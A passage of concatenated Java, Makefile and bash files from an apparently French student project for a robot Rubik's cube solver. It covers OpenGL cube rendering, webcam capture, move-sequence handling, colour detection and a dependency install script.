public void display(GLAutoDrawable drawable) {
n -= 1;
if (n == 1) {
currentNanos = System.nanoTime();
fps = 10000000 / ((double)(currentNanos - oldNanos) / 1000);
// System.out.println(fps);
oldNanos = currentNanos;
n = 10;
step = (float) (stepFactor / fps);
}
GL gl = drawable.getGL();
gl.glClear(GL.GL_COLOR_BUFFER_BIT | GL.GL_DEPTH_BUFFER_BIT);
gl.glLoadIdentity();
gl.glPushMatrix();
gl.glTranslatef(0, 0, -20.0f);
gl.glBegin(GL.GL_QUADS);
gl.glColor3f(0, 0, 0);
gl.glVertex3f(-40f, 10f, 0);
gl.glVertex3f(40f, 10f, 0);
gl.glColor3f(1f, 1f, 1f);
gl.glVertex3f(40f, -10f, 0);
gl.glVertex3f(-40f, -10f, 0);
gl.glEnd();
gl.glPopMatrix();
gl.glTranslatef(0.0f, 0.0f, -10.0f);
gl.glRotatef(cameraPhi, 0f, 1f, 0f);
gl.glRotatef(cameraTheta, 1f, 0f, 0f);
if (cubeMoving) {
rotate += step;
}
if (rotate > 90f) {
rotate = 90f;
cube.effectuerMouvementElementaire(mvt);
cubeMoving = false;
}
if (cubeMoving && mvt.equals(MouvementElementaire.x)) {
gl.glRotatef(-rotate, 1.0f, 0, 0);
}
if (cubeMoving && mvt.equals(MouvementElementaire.x2)) {
gl.glRotatef(-2*rotate, 1.0f, 0, 0);
}
if (cubeMoving && mvt.equals(MouvementElementaire.xp)) {
gl.glRotatef(rotate, 1.0f, 0, 0);
}
if (cubeMoving && mvt.equals(MouvementElementaire.y)) {
gl.glRotatef(-rotate, 0, 1.0f, 0);
}
if (cubeMoving && mvt.equals(MouvementElementaire.y2)) {
gl.glRotatef(-2*rotate, 0, 1.0f, 0);
}
if (cubeMoving && mvt.equals(MouvementElementaire.yp)) {
gl.glRotatef(rotate, 0, 1.0f, 0);
}
if (cubeMoving && mvt.equals(MouvementElementaire.z)) {
gl.glRotatef(-rotate, 0, 0, 1.0f);
}
if (cubeMoving && mvt.equals(MouvementElementaire.z2)) {
gl.glRotatef(-2*rotate, 0, 0, 1.0f);
}
if (cubeMoving && mvt.equals(MouvementElementaire.zp)) {
gl.glRotatef(rotate, 0, 0, 1.0f);
}
// Center
gl.glTranslatef(-0.5f, -0.5f, -0.5f);
gl.glPushMatrix();
switch (mvt) {
case R:
case Rp:
case R2:
case r:
case rp:
case r2:
case L:
case Lp:
case L2:
case l:
case lp:
case l2:
case M:
case Mp:
case M2:
drawCubeRightToLeft(gl);
break;
case U:
case Up:
case U2:
case u:
case up:
case u2:
case D:
case Dp:
case D2:
case d:
case dp:
case d2:
case E:
case Ep:
case E2:
drawCubeUpToDown(gl);
break;
default:
drawCubeFrontToBack(gl);
break;
}
}
public void displayChanged(GLAutoDrawable drawable, boolean modeChanged, boolean deviceChanged) {
}
public void reshape(GLAutoDrawable drawable, int x, int y, int width, int height) {
GL gl = drawable.getGL();
if (height <= 0) {
height = 1;
}
float h = (float) width / (float) height;
gl.glMatrixMode(GL.GL_PROJECTION);
gl.glLoadIdentity();
glu.gluPerspective(50.0f, h, 1.0, 1000.0);
gl.glMatrixMode(GL.GL_MODELVIEW);
gl.glLoadIdentity();
}
public void mouseDragged(MouseEvent e) {
int x = e.getX(), y = e.getY();
cameraPhi -= 3 * (oldX - x);
oldX = x;
cameraTheta += 3 * (oldY - y);
oldY = y;
}
public void mouseMoved(MouseEvent e) {
}
public void mouseClicked(MouseEvent e) {
}
public void mouseEntered(MouseEvent e) {
}
public void mouseExited(MouseEvent e) {
}
public void mousePressed(MouseEvent e) {
cameraMoving = true;
oldX = e.getX();
oldY = e.getY();
}
public void mouseReleased(MouseEvent e) {
cameraMoving = false;
}
private static void exitWindow() {
animator.stop();
frame.dispose();
}
public static void playMovement(MouvementElementaire _mvt)
{
mvt = _mvt;
rotate = 0;
cubeMoving = true;
}
public static void waitForMovementEnd() throws InterruptedException
{
while (cubeMoving)
Thread.sleep(10);
}
public static void runGL(Cube _cube, final boolean exitOnClose) throws Throwable
{
cube = _cube;
canvas.addGLEventListener(new GLCube());
frame.add(canvas);
frame.setSize(640, 480);
frame.addWindowListener(new WindowAdapter() {
public void windowClosing(WindowEvent e) {
exitWindow();
if(exitOnClose)
System.exit(0);
}
});
frame.setVisible(true);
animator.start();
canvas.requestFocus();
}
}
<file_sep>.PHONY : clean,libraryExport
# ARCH= amd64 or i586
ARCH=amd64
LIB_PERSO=NO
LEJOS_VERSION=9.1
JOGL_VERSION=1.1.1
SOURCEPATH=src
CLASS=classes
LIB=lib
ifeq ($(LEJOS_VERSION),9.1)
LEJOS_CLASSPATH=$(LIB)/lejos_nxj9.1/lib/nxt/classes.jar:$(LIB)/lejos_nxj9.1/lib/pc/pccomm.jar:$(LIB)/lejos_nxj9.1/lib/pc/jtools.jar:$(LIB)/lejos_nxj9.1/lib/pc/pctools.jar
NXJCOMP=$(LIB)/lejos_nxj9.1/bin/nxjc
NXJRUN=$(LIB)/lejos_nxj9.1/bin/nxj
else
LEJOS_CLASSPATH=lejos_nxj8.5/lib/classes.jar:lejos_nxj8.5/lib/jtools.jar:lejos_nxj8.5/lib/pccomm.jar:lejos_nxj8.5/lib/pctools.jar
NXJCOMP=$(LIB)/lejos_nxj8.5/bin/nxjc
NXJRUN=$(LIB)/lejos_nxj8.5/bin/nxj
endif
ifeq ($(JOGL_VERSION),1.1.1)
JOGL_CLASSPATH=$(LIB)/jogl-1.1.1-linux-$(ARCH)/lib/jogl.jar:$(LIB)/jogl-1.1.1-linux-$(ARCH)/lib/gluegen-rt.jar
LD_LIBRARY_PATH=$(LIB)/jogl-1.1.1-linux-$(ARCH)/lib/
else
JOGL_CLASSPATH=lib/jogl/build/jogl-all.jar:lib/gluegen/build/gluegen-rt
endif
ifeq ($(LIB_PERSO),YES)
JAI_CLASSPATH=/usr/share/sun-jai-bin/lib/jai_codec.jar:/usr/share/sun-jai-bin/lib/jai_core.jar:/usr/share/sun-jai-bin/lib/mlibwrapper_jai.jar:/usr/lib64/sun-jai-bin
JMF_CLASSPATH=/usr/share/jmf-bin/lib/jmf.jar:/usr/share/jmf-bin/lib/customizer.jar:/usr/share/jmf-bin/lib/mediaplayer.jar:/usr/share/jmf-bin/lib/multiplayer.jar
else
JAI_CLASSPATH=$(LIB)/jai-1_1_3-$(ARCH)/lib/jai_codec.jar:$(LIB)/jai-1_1_3-$(ARCH)/lib/jai_core.jar:$(LIB)/jai-1_1_3-$(ARCH)/lib/mlibwrapper_jai.jar
JMF_CLASSPATH=$(LIB)/JMF-2.1.1e/lib/customizer.jar:$(LIB)/JMF-2.1.1e/lib/jmf.jar:$(LIB)/JMF-2.1.1e/lib/mediaplayer.jar:$(LIB)/JMF-2.1.1e/lib/multiplayer.jar
endif
CLASSPATH=$(CLASS):$(LEJOS_CLASSPATH):$(JOGL_CLASSPATH):$(JAI_CLASSPATH):$(JMF_CLASSPATH)
JAVACOPT=-d $(CLASS) -sourcepath $(SOURCEPATH) -classpath $(CLASSPATH)
all:
$(NXJCOMP) -d $(CLASS) -cp $(CLASSPATH) -sourcepath $(SOURCEPATH) src/cube/robot/RobotRubik.java
javac $(JAVACOPT) $(SOURCEPATH)/Classmain.java
javac $(JAVACOPT) $(SOURCEPATH)/ClassmainSansVision.java
javac $(JAVACOPT) $(SOURCEPATH)/ClassmainTest.java
javac $(JAVACOPT) $(SOURCEPATH)/ClassmainTestPllOll.java
javac $(JAVACOPT) $(SOURCEPATH)/acquisition/ScanRubicsCube.java
javac $(JAVACOPT) $(SOURCEPATH)/vision/CubeFactory.java
javac $(JAVACOPT) $(SOURCEPATH)/acquisition/mainTestDetectionVision2.java
javac $(JAVACOPT) $(SOURCEPATH)/glcube/MainTest.java
execClassmain: libraryExport
java -classpath $(CLASSPATH) Classmain
execClassMainSansVision: libraryExport
java -classpath $(CLASSPATH) ClassmainSansVision
execClassMainTest: libraryExport
java -classpath $(CLASSPATH) ClassmainTest
execnxj: libraryExport
$(NXJRUN) -r -u -cp $(CLASSPATH) cube.robot.RobotRubik
libraryExport:
export LD_LIBRARY_PATH=$(LD_LIBRARY_PATH)
export NXJ_HOME=lejos_nxj9.1/
export LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):NXJ_HOME/bin
clean:
clear
rm -rf $(CLASS)/*
<file_sep>#!/bin/bash
if [[ $(aptitude show libusb-dev | grep "not installed") ]];then
echo "install libusb-dev first";
exit ;
fi
if [[ $(aptitude show ant | grep "not installed") ]];then
echo "install ant first";
exit ;
fi
if [[ `pwd | grep " "` ]];then
echo "rename your path without space in the name"
exit ;
fi
if [[ $(uname -m| grep 64) ]];then
arch=amd64;
else
arch=i586;
fi
cd lib
wget -c http://download.java.net/media/jogl/builds/archive/jsr-231-1.1.1a/jogl-1.1.1a-linux-$arch.zip
unzip jogl-1.1.1a-linux-$arch.zip
#wget -c http://download.java.net/media/jogl/builds/archive/jsr-231-beta5/jogl-natives-linux-$arch.jar
#jar xvf jogl-natives-linux-$arch.jar
#wget -c http://download.java.net/media/jogl/builds/archive/jsr-231-beta5/jogl.jar
#wget -c http://download.java.net/media/gluegen/builds/archive/2.0b05/webstart/gluegen-rt-natives-linux-$arch.jar
#jar xvf gluegen-rt-natives-linux-$arch.jar
#wget -c http://download.java.net/media/gluegen/builds/archive/2.0b05/webstart/gluegen-rt.jar
#cd ..
wget -c http://download.java.net/media/jai/builds/release/1_1_3/jai-1_1_3-lib-linux-$arch.tar.gz
tar xvvzf jai-1_1_3-lib-linux-$arch.tar.gz
wget -c http://downloads.sourceforge.net/project/lejos/lejos-NXJ/0.8.5beta/lejos_NXJ_0_8_5beta.tar.gz?use_mirror=switch
#wget -c http://sourceforge.net/projects/lejos/files/lejos-NXJ/0.8.5beta/lejos_NXJ_0_8_5beta.tar.gz/download
tar xvvzf lejos_NXJ_0_8_5beta.tar.gz
cd lejos_nxj/build
sed -i 's/jbluez,//g' build.xml
ant
cd ../../..
echo "télécharger jmf 2.1.1.e sur http://java.sun.com/javase/technologies/desktop/media/jmf/2.1.1/download.html"
echo -e "\n\n\n----------------------------------------------------------------------\n\n\nInstallation terminée\n\nVous devez maintenant ajouter une règle à udev, sinon vous serez obligés d'excécuter le code en root pour accéder au NXT\n\nPour cela, en root, créez un fichier nommé :\n\n/etc/udev/rules.d/70-lego.rules \n\net y insérez le contenu suivant :\n\n# Lego NXT\nBUS==\"usb\", SYSFS{idVendor}==\"03eb\", GROUP=\"lego\", MODE=\"0660\" \nBUS==\"usb\", SYSFS{idVendor}==\"0694\", GROUP=\"lego\", MODE=\"0660\" \n\nEnfin il faut créer un groupe nommée lego et y ajouter l'utilisateur courant, se relogger, compiler, exécuter"
<file_sep>java -classpath $CLASSPATH:./classes mainTestDetectionVision2
<file_sep>/**
*classe qui gère le scan du cube
*@author Groupe ECAO Rubik's Cube : <NAME> Mathieu_Chataigner <NAME>.
*/
package acquisition;
/*import java.awt.BorderLayout;
import java.awt.Component;*/
import java.awt.Dimension;
/*import java.awt.Frame;
import java.awt.Graphics;*/
import java.awt.Graphics2D;
import java.awt.Image;
/*import java.awt.Panel;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;*/
import java.awt.image.BufferedImage;
import java.io.FileOutputStream;
import javax.media.Buffer;
import javax.media.CaptureDeviceInfo;
import javax.media.CaptureDeviceManager;
import javax.media.Manager;
import javax.media.MediaLocator;
import javax.media.Player;
import javax.media.control.FrameGrabbingControl;
import javax.media.format.VideoFormat;
import javax.media.util.BufferToImage;
//import javax.swing.JButton;
//import javax.swing.JComponent;
import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGEncodeParam;
import com.sun.image.codec.jpeg.JPEGImageEncoder;
import javax.media.protocol.DataSource;
import javax.media.control.FormatControl;
import javax.media.Format;
import javax.media.protocol.CaptureDevice;
public class ScanRubikCubeAuto{// extends Panel implements ActionListener {
public static Player player = null;
public CaptureDeviceInfo webcamInfo = null;
public MediaLocator mediaLocator = null;
//public JButton capture = null;
public Buffer buf = null;
public Image img = null;
public VideoFormat vf = null;
public BufferToImage btoi = null;
//public ImagePanel imgpanel = null;
public ScanRubikCubeAuto() throws Throwable{
//setLayout(new BorderLayout());
//setSize(320,550);
//imgpanel = new ImagePanel();
//capture = new JButton("Capture");
//capture.addActionListener(this);
String quickcamName="v4l:Logitech QuickCam Pro 4000:0";
webcamInfo = CaptureDeviceManager.getDevice(quickcamName);
// mediaLocator = new MediaLocator("vfw://0");
FormatControl ControlesFormat[];
Format formats[];
VideoFormat videoFormat = new VideoFormat(null,new Dimension(640,480),VideoFormat.NOT_SPECIFIED,VideoFormat.byteArray,VideoFormat.NOT_SPECIFIED);
mediaLocator = new MediaLocator("v4l://0");
DataSource dataSource = Manager.createDataSource(mediaLocator);
/* ControlesFormat = ((CaptureDevice) dataSource).getFormatControls();
for(int i=0; i<ControlesFormat.length;i++){
formats = ControlesFormat[i].getSupportedFormats();
for(int j=0;j<formats.length;j++){
if(formats[j].matches(videoFormat)){
ControlesFormat[i].setFormat(videoFormat);
}
}
}*/
requestCaptureFormat(videoFormat,dataSource);
player = Manager.createRealizedPlayer(dataSource);
// player = Manager.createRealizedPlayer(mediaLocator);
player.start();
//Component comp;
/*if ((comp = player.getVisualComponent()) != null) {
add(comp,BorderLayout.NORTH);
}
add(capture,BorderLayout.CENTER);
add(imgpanel,BorderLayout.SOUTH);*/
}
public boolean requestCaptureFormat(Format requested_format, DataSource ds) {
if (ds instanceof CaptureDevice) {
FormatControl[] fcs = ((CaptureDevice) ds).getFormatControls();
for (FormatControl fc : fcs) {
Format[] formats = ((FormatControl) fc).getSupportedFormats();
for (Format format : formats) {
if (requested_format.matches(format)) {
((FormatControl) fc).setFormat(format);
return true;
}
}
}
}
return false;
}
public Player getPlayer(){
return this.player;
}
public void saveImage(String nom){
if(!nom.matches(".+jpg"))
nom=nom+".jpg";
// Grab a frame
FrameGrabbingControl fgc = (FrameGrabbingControl)
player.getControl("javax.media.control.FrameGrabbingControl");
buf = fgc.grabFrame();
// Convert it to an image
btoi = new BufferToImage((VideoFormat)buf.getFormat());
img = btoi.createImage(buf);
// save image
saveJPG(img,nom);
}
public void saveImage(){
this.saveImage("test.jpg");
}
/* public static void main(String[] args) {
Frame f = new Frame("SwingCapture");
ScanRubikCubeAuto cf = new ScanRubikCubeAuto();
f.addWindowListener(new WindowAdapter() {
public void windowClosing(WindowEvent e) {
playerclose();
System.exit(0);}});
f.add("Center",cf);
f.pack();
f.setSize(new Dimension(320,550));
f.setVisible(true);
}*/
/**
* Clos le scan
*/
public void playerclose() {
player.close();
player.deallocate();
}
/* public void actionPerformed(ActionEvent e) {
JComponent c = (JComponent) e.getSource();
if (c == capture)
{
// Grab a frame
FrameGrabbingControl fgc = (FrameGrabbingControl)
player.getControl("javax.media.control.FrameGrabbingControl");
buf = fgc.grabFrame();
// Convert it to an image
btoi = new BufferToImage((VideoFormat)buf.getFormat());
img = btoi.createImage(buf);
// show the image
imgpanel.setImage(img);
// save image
saveJPG(img,"test.jpg");
}
}*/
/* class ImagePanel extends Panel {
public Image myimg = null;
public ImagePanel()
{
setLayout(null);
setSize(320,240);
}
public void setImage(Image img)
{
this.myimg = img;
repaint();
}
public void paint(Graphics g)
{
if (myimg != null)
{
g.drawImage(myimg, 0, 0, this);
}
}
}*/
/**
* Permet de sauver l'image en JPG
*@param img l'image
*@param s nom de l'image
*/
private void saveJPG(Image img, String s) {
BufferedImage bi = new BufferedImage(img.getWidth(null), img.getHeight(null), BufferedImage.TYPE_INT_RGB);
Graphics2D g2 = bi.createGraphics();
g2.drawImage(img, null, null);
FileOutputStream out = null;
try {
out = new FileOutputStream(s);
} catch (java.io.FileNotFoundException io) {
System.out.println("File Not Found");
}
JPEGImageEncoder encoder = JPEGCodec.createJPEGEncoder(out);
JPEGEncodeParam param = encoder.getDefaultJPEGEncodeParam(bi);
param.setQuality(0.5f,false);
encoder.setJPEGEncodeParam(param);
try {
encoder.encode(bi);
out.close();
} catch (java.io.IOException io) {
System.out.println("IOException");
}
}
}
<file_sep>/**
* Classe qui stocke des mouvements elementaires et qui permet de realiser des operations sur ces mouvements elementaires
* @author Groupe ECAO Rubik's Cube: <NAME>.
*/
package cube;
import java.util.*;
import cube.MouvementElementaire.*;
public class Algorithme
{
private ArrayList<MouvementElementaire> solution;
private Integer MAX_VALUE=10000;
private String dernierMvt="";
private int dernierIndice=-1;
/**
* Constructeur de la classe Algorithme
*/
public Algorithme()
{
solution = new ArrayList<MouvementElementaire>();
/*dernierIndice=solution.size()-1;
if(dernierIndice>=0)
dernierMvt=solution.get(dernierIndice).toString();
else
dernierMvt="";*/
}
/**
* Constructeur de la classe Algorithme a partir de plusieurs mouvements elemntaires
*/
public Algorithme(MouvementElementaire... mouvements)
{
this();
this.ajouterMouvements(mouvements);
}
public Algorithme(Algorithme algo){
this();
this.ajouterMouvements(algo.getAlgorithme());
}
/**
* Constructeur de la classe Algorithme a partir d'une suite de chaines de caracteres représentants un algorithme
*/
public Algorithme(String chaineAlgo)
{
this();
MouvementElementaire mouvement;
//System.out.println("\""+chaineAlgo+"\"");
if(chaineAlgo.trim().length()!=0){
String[] tableauChaineAlgo=chaineAlgo.trim().split(" ");
//System.out.println(tableauChaineAlgo.length);
for(int i=0;i<=tableauChaineAlgo.length-1;i++)
{
try
{
//System.out.println("\""+tableauChaineAlgo[i]+"\"");
mouvement=MouvementElementaire.valueOf(tableauChaineAlgo[i]);
this.ajouterMouvement(mouvement);
}
catch(IllegalArgumentException e)
{
System.err.println("Tentative de construire un algorithme avec une chaine de caractere non valide");
e.printStackTrace();
}
}
}
//System.out.println("\""+this.toString()+"\"");
}
public Algorithme inverserAlgorithme()
{
Algorithme algo=null;
ArrayList<MouvementElementaire> listeMvt = new ArrayList<MouvementElementaire>();
for(MouvementElementaire mvt: solution)
{
switch(mvt)
{
case R : listeMvt.add(0,MouvementElementaire.Rp);break;
case R2: listeMvt.add(0,MouvementElementaire.R2);break;
case Rp: listeMvt.add(0,MouvementElementaire.R );break;
case r : listeMvt.add(0,MouvementElementaire.rp);break;
case r2: listeMvt.add(0,MouvementElementaire.r2);break;
case rp: listeMvt.add(0,MouvementElementaire.r );break;
case U : listeMvt.add(0,MouvementElementaire.Up);break;
case U2: listeMvt.add(0,MouvementElementaire.U2);break;
case Up: listeMvt.add(0,MouvementElementaire.U );break;
case u : listeMvt.add(0,MouvementElementaire.up);break;
case u2: listeMvt.add(0,MouvementElementaire.u2);break;
case up: listeMvt.add(0,MouvementElementaire.u );break;
case L : listeMvt.add(0,MouvementElementaire.Lp);break;
case L2: listeMvt.add(0,MouvementElementaire.L2);break;
case Lp: listeMvt.add(0,MouvementElementaire.L );break;
case l : listeMvt.add(0,MouvementElementaire.lp);break;
case l2: listeMvt.add(0,MouvementElementaire.l2);break;
case lp: listeMvt.add(0,MouvementElementaire.l );break;
case D : listeMvt.add(0,MouvementElementaire.Dp);break;
case D2: listeMvt.add(0,MouvementElementaire.D2);break;
case Dp: listeMvt.add(0,MouvementElementaire.D );break;
case d : listeMvt.add(0,MouvementElementaire.dp);break;
case d2: listeMvt.add(0,MouvementElementaire.d2);break;
case dp: listeMvt.add(0,MouvementElementaire.d );break;
case B : listeMvt.add(0,MouvementElementaire.Bp);break;
case B2: listeMvt.add(0,MouvementElementaire.B2);break;
case Bp: listeMvt.add(0,MouvementElementaire.B );break;
case b : listeMvt.add(0,MouvementElementaire.bp);break;
case b2: listeMvt.add(0,MouvementElementaire.b2);break;
case bp: listeMvt.add(0,MouvementElementaire.b );break;
case F : listeMvt.add(0,MouvementElementaire.Fp);break;
case F2: listeMvt.add(0,MouvementElementaire.F2);break;
case Fp: listeMvt.add(0,MouvementElementaire.F );break;
case f : listeMvt.add(0,MouvementElementaire.fp);break;
case f2: listeMvt.add(0,MouvementElementaire.f2);break;
case fp: listeMvt.add(0,MouvementElementaire.f );break;
case M : listeMvt.add(0,MouvementElementaire.Mp);break;
case M2: listeMvt.add(0,MouvementElementaire.M2);break;
case Mp: listeMvt.add(0,MouvementElementaire.M );break;
case E : listeMvt.add(0,MouvementElementaire.Ep);break;
case E2: listeMvt.add(0,MouvementElementaire.E2);break;
case Ep: listeMvt.add(0,MouvementElementaire.E );break;
case S : listeMvt.add(0,MouvementElementaire.Sp);break;
case S2: listeMvt.add(0,MouvementElementaire.S2);break;
case Sp: listeMvt.add(0,MouvementElementaire.S );break;
case x : listeMvt.add(0,MouvementElementaire.xp);break;
case x2: listeMvt.add(0,MouvementElementaire.x2);break;
case xp: listeMvt.add(0,MouvementElementaire.x );break;
case y : listeMvt.add(0,MouvementElementaire.yp);break;
case y2: listeMvt.add(0,MouvementElementaire.y2);break;
case yp: listeMvt.add(0,MouvementElementaire.y );break;
case z : listeMvt.add(0,MouvementElementaire.zp);break;
case z2: listeMvt.add(0,MouvementElementaire.z2);break;
case zp: listeMvt.add(0,MouvementElementaire.z );break;
}
}
algo = new Algorithme(listeMvt.toArray(new MouvementElementaire[0]));
return algo;
}
/**
* methode permettant d'executer un Algorithme sur un Cube
* @param cube le Cube sur lequel nous souhaitons effectuer des algorithmes
*/
public void executerSurCube(Cube cube)
{
if(!estVide())
for(Iterator i = solution.iterator();i.hasNext();)
{
cube.effectuerMouvementElementaire((MouvementElementaire)i.next());
}
}
public void executerSurCubeOpenGL(Cube cube)
{
Scanner sca = new Scanner(System.in);
if(!estVide())
for(Iterator i = solution.iterator();i.hasNext();)
{
System.out.println("Avancement= %");
System.out.println("Souhaitez vous continuer? (o/n)");
String continuer = sca.nextLine();
if(continuer.equalsIgnoreCase("o") || continuer.equalsIgnoreCase("O"))
{
cube.effectuerMouvementElementaire((MouvementElementaire)i.next());
}
}
}
public MouvementElementaire obtenirIEmeMouvement(int i)
{
if(i<solution.size())
{
return solution.get(i);
}
else
return null;
}
public Algorithme copier()
{
Algorithme alg = new Algorithme(this);
return alg;
}
/**
* methode permettant de savoir si un Algorithme est vide.
* @return un booleen qui indique si l'algorithme est vide ou non.
*/
public boolean estVide()
{
return this.solution.isEmpty();
}
/**
* methode permettant de connaitre la taille de l'Algorithme, c'est a dire le nombre de mouvements elementaires qu'il contient
* @return un int qui represente la taille de l'Algorithme
*/
public int taille()
{
return this.solution.size();
}
/**
* methode permettant d'obtenir le premier mouvement elementaire d'un algorithme
* @return le premier mouvement elementaire de l'algorithme
*/
/* ATTENTION: METHODE PROBABLEMENT INUTILE
public MouvementElementaire obtenirPremierMouvement()
{
return this.solution.peek();
}
*/
/**
* methode permettant d'ajouter un mouvement elementaire a notre algorithme
* @return un booleen qui indique si l'ajout s'est bien deroule
*/
public synchronized boolean ajouterMouvement(MouvementElementaire mouvement)
{
boolean reussi=false;
//System.out.print(dernierMvt+" ");
if(dernierIndice>=0 && dernierMvt.length()!=0){
//MouvementElementaire mvt=this.solution.get(dernierIndice);
//String dernierMvt=mvt.toString();
String leMvt=mouvement.toString();
int i=0,j=0;
if(dernierMvt.charAt(0)==leMvt.charAt(0)){
if(dernierMvt.length()==1)
i=1;
else if(dernierMvt.charAt(1)=='2')
i=2;
else if(dernierMvt.charAt(1)=='p')
i=3;
if(leMvt.length()==1)
j=1;
else if(leMvt.charAt(1)=='2')
j=2;
else if(leMvt.charAt(1)=='p')
j=3;
i=(i+j)%4;
if(i==1)
dernierMvt=""+dernierMvt.substring(0,1);
else if(i==2)
dernierMvt=""+dernierMvt.substring(0,1)+"2";
else if(i==3)
dernierMvt=""+dernierMvt.substring(0,1)+"p";
else if(i==0)
{
dernierMvt="";
this.solution.remove(dernierIndice);
dernierIndice--;
if(dernierIndice>=0){
dernierMvt=solution.get(dernierIndice).toString();
}
return true;
}
if(dernierMvt.length()!=0){
this.solution.set(dernierIndice,MouvementElementaire.valueOf(dernierMvt));
reussi=true;
//System.out.println("\""+MouvementElementaire.valueOf(dernierMvt)+"\"");
}
else{
dernierMvt="";
this.solution.remove(dernierIndice);
dernierIndice--;
if(dernierIndice>=0){
dernierMvt=solution.get(dernierIndice).toString();
}
return true;
}
return reussi;
}
}
reussi=this.solution.add(mouvement);
dernierIndice++;
dernierMvt=mouvement.toString();
//System.out.println(reussi);
return reussi;
}
/**
* methode permettant d'ajouter une suite de mouvements elementaires a notre algorithme
* @return un booleen qui indique si l'ajout s'est bien deroule
*/
public boolean ajouterMouvements(MouvementElementaire... mouvements)
{
List<MouvementElementaire> liste= Arrays.asList(mouvements);
return ajouterMouvements(liste);
}
public boolean ajouterMouvements(List<MouvementElementaire> liste){
boolean reussi=true;
for(MouvementElementaire i:liste)
if(!ajouterMouvement(i))
reussi=false;
return reussi;
}
/**
* methode permettant de retirer le premier mouvement elementaire d'un algorithme
* @return le mouvement elementaire que nous venons de retirer, ou null si le retrait est impossible
*/
/* ATTENTION: METHODE PROBABLEMENT INUTILE
public MouvementElementaire retirerMouvement();
{
return this.solution.poll();
}
*/
/**
* methode permettant de concatener un algorithme a l'agorithme courant
* @return un booleen qui indique si des modifications ont ete apportee a l'algorithme courant
*/
public boolean concatenerAlgorithmes(Algorithme algo)
{
if(algo!=null)
return ajouterMouvements(algo.getAlgorithme());
else
return false;
}
/**
* methode permettant de recuperer la suite de mouvements elementaires contenus dans l'algorithme.
* @return un booleen qui indique si des modifications ont ete apportee a l'algorithme courant
*/
public ArrayList<MouvementElementaire> getAlgorithme()
{
return this.solution;
}
/**
* methode permettant d'afficher une chaine de caractere representant l'algorithme
* @return la chaine de caractere qui correspond a l'agorithme
*/
public String toString()
{
StringBuilder solutionEnTexte=new StringBuilder();
for(Iterator i = solution.iterator();i.hasNext();)
{
solutionEnTexte.append(((MouvementElementaire)i.next()).toString());
solutionEnTexte.append(" ");
}
return solutionEnTexte.toString();
}
}
<file_sep>/**
* @author <NAME>
*/
package vision;
import javax.media.jai.PlanarImage;
import java.awt.Rectangle;
import java.awt.geom.Rectangle2D;
import java.util.ArrayList;
import cube.Couleur;
/**
* Classe de détection des éléments d'un Rubik's Cube.
* @author thibault
*/
public class ElementDetector {
/**
* Extrait les zones correspondant aux éléments d'un Rubik's cube d'une image
* représentant les contours du Rubik's cube.
* @param input Image des contours du Rubik's Cube.
* @param elementSize Taille de l'élément à détecter.
* @return Liste de rectangles correspondant aux zones.
*/
public static ArrayList<Rectangle2D> computeZones(PlanarImage input,
int elementSize) {
Rectangle candidate = null;
int[][] data = new int[4][elementSize * elementSize];
int mean = 0;
ArrayList<Rectangle2D> result = new ArrayList<Rectangle2D>();
for (int j = 0; j < input.getHeight() - elementSize; j += 5) {
for (int i = 50; i < input.getWidth() - elementSize - 60; i += 5) {
mean = 0;
candidate = new Rectangle(i, j, elementSize, elementSize);
// On divise le rectangle en 4
// Taille trop importante sinon !!!??
input.getData(candidate).getPixels(i, j, elementSize / 2,
elementSize / 2, data[0]);
input.getData(candidate).getPixels(i + elementSize / 2, j,
elementSize / 2,
elementSize / 2, data[1]);
input.getData(candidate).getPixels(i, j + elementSize / 2,
elementSize / 2,
elementSize / 2, data[2]);
input.getData(candidate).getPixels(i + elementSize / 2,
j + elementSize / 2,
elementSize / 2,
elementSize / 2, data[3]);
for (int k = 0; k < elementSize * elementSize; k++) {
for (int l = 0; l < 4; l++) {
mean += data[l][k];
}
}
mean /= elementSize * elementSize;
if (mean < 20) {
result.add(new Rectangle2D.Float(i, j, elementSize,
elementSize));
}
}
}
result = removeRedundancy(result);
if (result.size() == 8) {
addSpecial(result);
}
sort(result);
return result;
}
/**
* Extrait les couleurs d'un Rubik's Cube
* @param input Image originale du Rubik's Cube.
* @param zones Zones correspondant aux éléments du Rubik's cube.
* @return Liste de Couleur correspondant au éléments du Rubik's Cube.
*/
public static ArrayList<Couleur> computeColors(PlanarImage input,
ArrayList<Rectangle2D> zones) {
ArrayList<Couleur> result = new ArrayList<Couleur>();
Rectangle zone;
int[][] data = null;
int R = 0, G = 0, B = 0;
for (int i = 0; i < zones.size(); i++) {
// On Récupère les pixels dans l'image ...
zone = new Rectangle((int) zones.get(i).getX(),
(int) zones.get(i).getY(),
(int) zones.get(i).getWidth(),
(int) zones.get(i).getHeight());
// On Récupère les composantes R,G,B dans les pixels...
for (int j = (int) zone.getX(); j < (int) zone.getX() + (int) zone.getWidth(); j++) {
for (int k = (int) zone.getY(); k < (int) zone.getY() + (int) zone.getHeight(); k++) {
R += input.getData(zone).getSample(j, k, 0);
G += input.getData(zone).getSample(j, k, 1);
B += input.getData(zone).getSample(j, k, 2);
}
}
// Et on moyenne tout ça.
R = R / ((int) zone.getWidth() * (int) zone.getHeight());
G = G / ((int) zone.getWidth() * (int) zone.getHeight());
B = B / ((int) zone.getWidth() * (int) zone.getHeight());
// Puis on demande à quoi ça correspond
result.add(computeColor(R, G, B));
// DEBUG
System.out.println("R = "+R+", G = "+G+", B = "+B+" = "+computeColor(R,G,B));
}
return result;
}
// pour la face placée diféremment.
public static ArrayList<Couleur> retournerCouleurs(ArrayList<Couleur> couleurs) {
ArrayList<Couleur> result = new ArrayList<Couleur>();
for (int i = 0; i < 3; i++) {
for (int j = 0; j < 3; j++) {
result.add(couleurs.get((2 - i) * 3 + j));
}
}
return result;
}
private static ArrayList<Rectangle2D> removeRedundancy(ArrayList<Rectangle2D> elements) {
ArrayList<Rectangle2D> result = new ArrayList<Rectangle2D>();
int nRects = 0;
boolean stillIntersects = false;
while (!elements.isEmpty()) {
result.add(elements.remove(0));
for (int i = 0; i < elements.size(); i++) {
if (result.get(nRects).intersects(elements.get(i))) {
result.set(nRects, result.get(nRects).createIntersection(elements.remove(i)));
stillIntersects = true;
}
}
nRects++;
}
if (stillIntersects) {
result = removeRedundancy(result);
}
return result;
}
private static void addSpecial(ArrayList<Rectangle2D> elements) {
int x = 0;
